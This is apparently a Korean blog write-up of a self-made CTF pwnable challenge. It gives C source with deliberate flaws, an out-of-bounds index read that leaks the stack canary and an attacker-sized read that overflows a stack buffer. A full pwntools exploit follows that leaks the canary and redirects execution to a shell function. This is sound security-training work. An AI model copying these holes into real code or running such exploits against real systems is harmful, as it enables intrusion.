혜랑's STORY

ssmash 본문

무지성 공부방/Pwnable 문제 만들기

ssmash

hyerang0125 2022. 3. 1. 17:47
ssmash.c
// Complie : gcc -o ssmash ssmash.c -m32 -no-pie -fstack-protector -z relro -mpreferred-stack-boundary=2 -fno-pic

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void get_shell(){
	system("/bin/sh");
}

void print(unsigned char *box, int idx){
	printf("idx: %d, box[idx]: %02x\n", idx, box[idx]);
}

int main(int argc, char *argv[]){
	unsigned char box[0x30] = {};
	char changed_box[0x30] = {};
	char select[2] = {};
	int idx, box_size;
	idx = box_size = 0;

	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	
	while(1){
		puts("[1] Fill the box");
		puts("[2] Print the box");
		puts("[3] Exit");
		puts("> ");	

		read(0, select, 2);
		switch(select[0]){
			case '1':
				printf("box input: ");
				read(0, box, sizeof(box));
				break;

			case '2':
				printf("index: ");
				scanf("%d", &idx);
				print(box, idx);
				break;

			case '3':
				printf("box size: ");
				scanf("%d", &box_size);
				printf("box input: ");
				read(0, changed_box, box_size);
				return 0;

			default: break;
		}
	}
}

 

코드를 자세히 살펴보자.

  • get_shell()
void get_shell() {
    system("/bin/sh");
}

최종적으로 얻어야 할 셸을 불러주는 함수이다.

  • print()
void print(unsigned char *box, int idx){
	printf("idx: %d, box[idx]: %02x\n", idx, box[idx]);
}

box의 인덱스 번호와 값을 출력하고 있다.

  • main()의 while문
	while(1){
		puts("[1] Fill the box");
		puts("[2] Print the box");
		puts("[3] Exit");
		puts("> ");	

		read(0, select, 2);
		switch(select[0]){
			case '1':
				printf("box input: ");
				read(0, box, sizeof(box));
				break;

			case '2':
				printf("index: ");
				scanf("%d", &idx);
				print(box, idx);
				break;

			case '3':
				printf("box size: ");
				scanf("%d", &box_size);
				printf("box input: ");
				read(0, changed_box, box_size);
				return 0;

			default: break;
		}
	}

1번의 취약점

원하는 인덱스의 값을 출력해준다. 즉, idx와 canary의 offset을 구하면 카나리 릭이 가능하다.

2번의 취약점

box의 크기는 정해져있는 반면, box_len의 크기는 사용자가 지정할 수 있기 때문에 정해진 box의 크기보다 더 입력하여 오버플로우를 발생시켜 코드의 흐름을 변경할 수 있다.

즉, 1번으로 카나리 릭을 한 후 2번를 통해 오버플로우를 일으키고 get_shell로 프로그램의 흐름을 변경하면 된다.

gdb로 확인한 결과 카나리와 return address 사이에는 0x8 만큼의 dummy가 필요하는 것을 알 수 있었다.

이를 바탕으로 익스플로잇 코드를 작성해보자.

from pwn import *

#context.log_level = 'debug'

#p = remote('ctf-hackingcamp.com', '15776')
p = process('./ssmash')
e = ELF('./ssmash')

get_shell = e.symbols['get_shell']
print('[+] get_shell: ' + hex(get_shell))

# [1] Stack Overflow
p.sendlineafter('> ', '1')
p.sendlineafter('box input: ', 'A' * 0x30)

# [2] Canary Leak : canary size 4
canary = b''
for i in range(4):
	p.sendlineafter('> ', '2')
	p.sendlineafter('index: ', str(0x60+i))
	p.recvuntil('box[idx]: ')
	canary = p.recvuntil('\n')[:2] + canary

canary = int(canary, 16)
print('[+] canary: ' + hex(canary))

# [3] Exploit
p.sendlineafter('> ', '3')
payload = b'A' * 0x30
payload += p32(canary)
payload += b'B' * 0x8
payload += p32(get_shell)

payload_len = len(payload.decode('utf-8', 'backslashreplace'))
print('[+] payload_len: ' + hex(payload_len))
#print('[+] payload : ' + str(payload.decode('utf-8', 'backslashreplace')))

#pause()
p.sendlineafter('box size: ', str(payload_len))
p.sendlineafter('box input: ', payload)

p.interactive()

성공적으로 플래그를 획득하였다.

성공~